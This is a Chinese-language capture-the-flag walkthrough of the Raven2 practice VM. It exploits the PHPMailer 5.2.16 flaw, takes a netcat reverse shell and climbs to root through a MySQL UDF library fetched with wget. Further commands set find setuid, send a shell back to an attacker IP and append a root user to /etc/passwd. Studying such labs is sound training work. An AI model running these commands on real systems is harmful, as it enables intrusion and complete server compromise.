No.3-红队渗透项目:Raven2

2024-04-26 890 0

简介

作者:摇光

时间:2024-04-17

座右铭:路虽远,行则将至,事虽难,做则必成。

请注意:

对于所有这些计算机,我已经使用VMware运行下载的计算机。我将使用Kali Linux作为解决该CTF的攻击者机器。这里使用的技术仅用于学习教育目的,如果列出的技术用于其他任何目标,我概不负责。

一.信息收集

在VM中获取攻击目标的ip地址,用nmap获取目标主机的ip地址

nmap -sP 192.168.111.0/24

No.3-红队渗透项目:Raven2插图

目标主机的IP地址:192.168.111.132

nmap扫描发现目标主机的端口及服务(进行目标主机全端口扫描)

nmap 192.168.111.132 -p-

No.3-红队渗透项目:Raven2插图1

二、web渗透

爆破网站目录,进行枚举

dirb http://192.168.111.132 

No.3-红队渗透项目:Raven2插图2

枚举后发现http://192.168.111.132/vendor/ 该路径下存在包含的flag文件path

No.3-红队渗透项目:Raven2插图3

打开path文件,获得flag1

No.3-红队渗透项目:Raven2插图4

flag1{a2c1f66d2b8051bd3a5874b5b6e43e21}

在README.md文件中发现使用了PHPMailer插件

No.3-红队渗透项目:Raven2插图5

VERSION文件中发现其版本为5.2.16

No.3-红队渗透项目:Raven2插图6

谷歌搜索:PHPMailer 5.2.16 exp

No.3-红队渗透项目:Raven2插图7

CVE:2016-10033

exp ID:40974

查询 40974

searchsploit 40974

No.3-红队渗透项目:Raven2插图8

将40974文件拷贝到本地

cp /usr/share/exploitdb/exploits/php/webapps/40974.py /root/Desktop/

No.3-红队渗透项目:Raven2插图9

exp考出后,需要针对PHPMailer修改参数:
41行:改下地址:http://192.168.111.132/contact.php(目标靶机ip)
42行:后门名称:/dayu.php
44行:改下回弹的IP和端口  192.168.111.128 6666(本机ip)
47行:改下写入shell的目录:/var/www/html/dayu.php

No.3-红队渗透项目:Raven2插图10

执行exp
python3 40974.py

如果环境报错按照环境安装:
需要安装requests_toolbelt模块,使用命令:pip install requests-toolbelt安装即可,如果没用pip,需要sudo apt-get install python-pip安装即可。

No.3-红队渗透项目:Raven2插图11

访问http://192.168.111.132/contact.php,此时就会生成后门文件dayu.php

No.3-红队渗透项目:Raven2插图12

本地开启监听:nc -vlp 6666

No.3-红队渗透项目:Raven2插图13

访问http://192.168.111.132/dayu.php

No.3-红队渗透项目:Raven2插图14

获得反弹shell!

No.3-红队渗透项目:Raven2插图15

python -c 'import pty; pty.spawn("/bin/bash")'     ---将shell进行tty

No.3-红队渗透项目:Raven2插图16

找寻flag

find / -name flag*

No.3-红队渗透项目:Raven2插图17

No.3-红队渗透项目:Raven2插图18

找到flag路径:

/var/www/html/wordpress/wp-content/uploads/2018/11/flag3.png
/var/www/flag2.txt

cat /var/www/flag2.txt

No.3-红队渗透项目:Raven2插图19

获得flag2{6a8ed560f0b5358ecf844108048eb337}

浏览器访问

http://192.168.111.132/wordpress/wp-content/uploads/2018/11/flag3.png

No.3-红队渗透项目:Raven2插图20

获得flag3

wordpress目录枚举

flag3路径:/var/www/html/wordpress/wp-content/uploads/2018/11/flag3.png
在flag3目录下发现了wordpress目录(config文件是最重要的配置文件,先进行枚举)

No.3-红队渗透项目:Raven2插图21

查看关键文件中的关键内容信息
grep "内容" -rn 
grep "password" -rn wp-config.php

No.3-红队渗透项目:Raven2插图22

获得mysql账号密码信息

/** MySQL database username */
define('DB_USER', 'root');

/** MySQL database password */
define('DB_PASSWORD', 'R@v3nSecurity');

登录mysqlNo.3-红队渗透项目:Raven2插图23

查看其系统库和版本

No.3-红队渗透项目:Raven2插图24

--select version();查看版本

No.3-红队渗透项目:Raven2插图25

ps aux | grep root   ---查看mysql进程信息,获得数据库是以什么权限去运行的

No.3-红队渗透项目:Raven2插图26

发现是以root权限去运行的,那么接下来就找利用mysql提权的方法.

root权限运行满足UDF提权条件一

三、内核提权

mysql UDF 提权
UDF 提权、MOF 提权是非常经典的提权方法!

dpkg -l | grep mysql   --查看历史安装包版本
5.5.6可以进行UDF提权,满足UDF提权条件二

No.3-红队渗透项目:Raven2插图27

再次登入mysql,收集信息

No.3-红队渗透项目:Raven2插图28

No.3-红队渗透项目:Raven2插图29

查看user表

No.3-红队渗透项目:Raven2插图30

获得两个账号和密码(密码加密,无法破解,仍使用UDF进行提权)

查看底层UDF是否能用

首先看一下是否满足写入条件:
show global variables like 'secure%';

No.3-红队渗透项目:Raven2插图31

1)当 secure_file_priv 的值为 NULL ,表示限制 mysqld 不允许导入|导出,此时无法提权
2)当 secure_file_priv 的值为 /tmp/ ,表示限制 mysqld 的导入|导出只能发生在 /tmp/目录下,此时也无法提权
3)当 secure_file_priv 的值没有具体值时,表示不对 mysqld 的导入|导出做限制,此时可提权!
如果是 MySQL >= 5.1 的版本,必须把 UDF 的动态链接库文件放置于 MySQL 安装目录下的 lib\plugin 文件夹下文件夹下才能创建自定义函数。

查看插件目录:

show variables like '%plugin%';

No.3-红队渗透项目:Raven2插图32

查看能否远程登陆,若能远程访问,使用msf的脚本远程访问攻击,若不能远程访问,只能本地访问操作。

use mysql;  --进入mysql库

select user,host from user; --查看哪些ip可以访问mysql

No.3-红队渗透项目:Raven2插图33

发现只有本地ip可以访问,这里root用户不允许远程登陆,因此不能利用MSF提权。

谷歌搜索:mysql 5.x UDF exploit  或者  searchsploit udf

EXP ID:1518

No.3-红队渗透项目:Raven2插图34

用法:

No.3-红队渗透项目:Raven2插图35

查询提权脚本1518

searchsploit 1518

No.3-红队渗透项目:Raven2插图36

拷贝到本地

cp /usr/share/exploitdb/exploits/linux/local/1518.c /root/Desktop/

No.3-红队渗透项目:Raven2插图37

gcc -g -c 1518.c   ---GCC编译.o文件
gcc -g -shared -o dayu.so 1518.o -lc
-g 生成调试信息
-c 编译(二进制)
-shared:创建一个动态链接库,输入文件可以是源文件、汇编文件或者目标文件。
-o:执行命令后的文件名
-lc:-l 库 c库名

No.3-红队渗透项目:Raven2插图38

开启8081端口的http服务

No.3-红队渗透项目:Raven2插图39

把dayu.so文件下载到目标主机

wget 192.168.111.128:8081/dayu.so(本地ip)

No.3-红队渗透项目:Raven2插图40

进入数据库创建数据表dayu:
create table dayu(line blob);

No.3-红队渗透项目:Raven2插图41

查看数据表dayu

No.3-红队渗透项目:Raven2插图42

插入数据文件:
insert into dayu values(load_file('/tmp/dayu.so'));

No.3-红队渗透项目:Raven2插图43

dayu表成功插入二进制数据,然后利用dumpfile函数把文件导出,outfile 多行导出,dumpfile一行导出
outfile会有特殊的转换,而dumpfile是原数据导出!

新建存储函数:
select * from dayu into dumpfile '/usr/lib/mysql/plugin/dayu.so';

No.3-红队渗透项目:Raven2插图44

创建自定义函数do_system,类型是integer,别名(soname)文件名字,然后查询函数是否创建成功:
create function do_system returns integer soname 'dayu.so';

No.3-红队渗透项目:Raven2插图45

查看以下创建的函数:
select * from mysql.func;

No.3-红队渗透项目:Raven2插图46

调用do_system函数来给find命令所有者的suid权限,使其可以执行root命令:
select do_system('chmod u+s /usr/bin/find');  --chmod u+s赋予其最高权限

No.3-红队渗透项目:Raven2插图47

执行find命令(这里也可以进行一个反弹shell,详细步骤在结尾拓展中)
使用find执行 shell

touch dayu --目标主机创建dayu文件

No.3-红队渗透项目:Raven2插图48
find dayu -exec "/bin/sh" \;          --获得一个root的id

No.3-红队渗透项目:Raven2插图49

切换到root权限,查看获得flag4

No.3-红队渗透项目:Raven2插图50

flag4{df2bc5e951d91581467bb9a2a8ff4425}

拓展:

1.用反弹shell来获取flag4

本机中打开6677端口的监听

nc -vlp 6677

mysql中执行命令

select do_system('nc -nv 192.168.111.128 6677 -e /bin/bash');

No.3-红队渗透项目:Raven2插图51

本机会获得一个反弹shell,再执行find命令获得flag

2.使用stty命令,让伪shell界面更加稳定,其包含历史命令,使用更方便

仅限/bin/bash模式:
python -c 'import pty;pty.spawn("/bin/bash")'
Ctl z
stty raw -echo
fg

3.如果可以远程,msf远程攻击提权步骤

mysql_udf_payload
sqlmap -d "mysql://root:[email protected]:3306/mysql" --os-shell

4.写入root用户

openssl passwd dayu
YpIR51FecR9AY
select do_system('echo "dayu:xFzxgAbLwwOOA:0:0:root:/root:/bin/bash" >> /etc/passwd');
su dayu


4A评测 - 免责申明

本站提供的一切软件、教程和内容信息仅限用于学习和研究目的。

不得将上述内容用于商业或者非法用途,否则一切后果请用户自负。

本站信息来自网络,版权争议与本站无关。您必须在下载后的24个小时之内,从您的电脑或手机中彻底删除上述内容。

如果您喜欢该程序,请支持正版,购买注册,得到更好的正版服务。如有侵权请邮件与我们联系处理。敬请谅解!

程序来源网络,不确保不包含木马病毒等危险内容,请在确保安全的情况下或使用虚拟机使用。

侵权违规投诉邮箱:4ablog168#gmail.com(#换成@)

相关文章

webpack打包站点,js文件名批量获取思路
加密对抗靶场enctypt——labs通关
【论文速读】| 注意力是实现基于大语言模型的代码漏洞定位的关键
蓝队技术——Sysmon识别检测宏病毒
内网渗透学习|powershell上线cs
LLM attack中的API调用安全问题及靶场实践

发布评论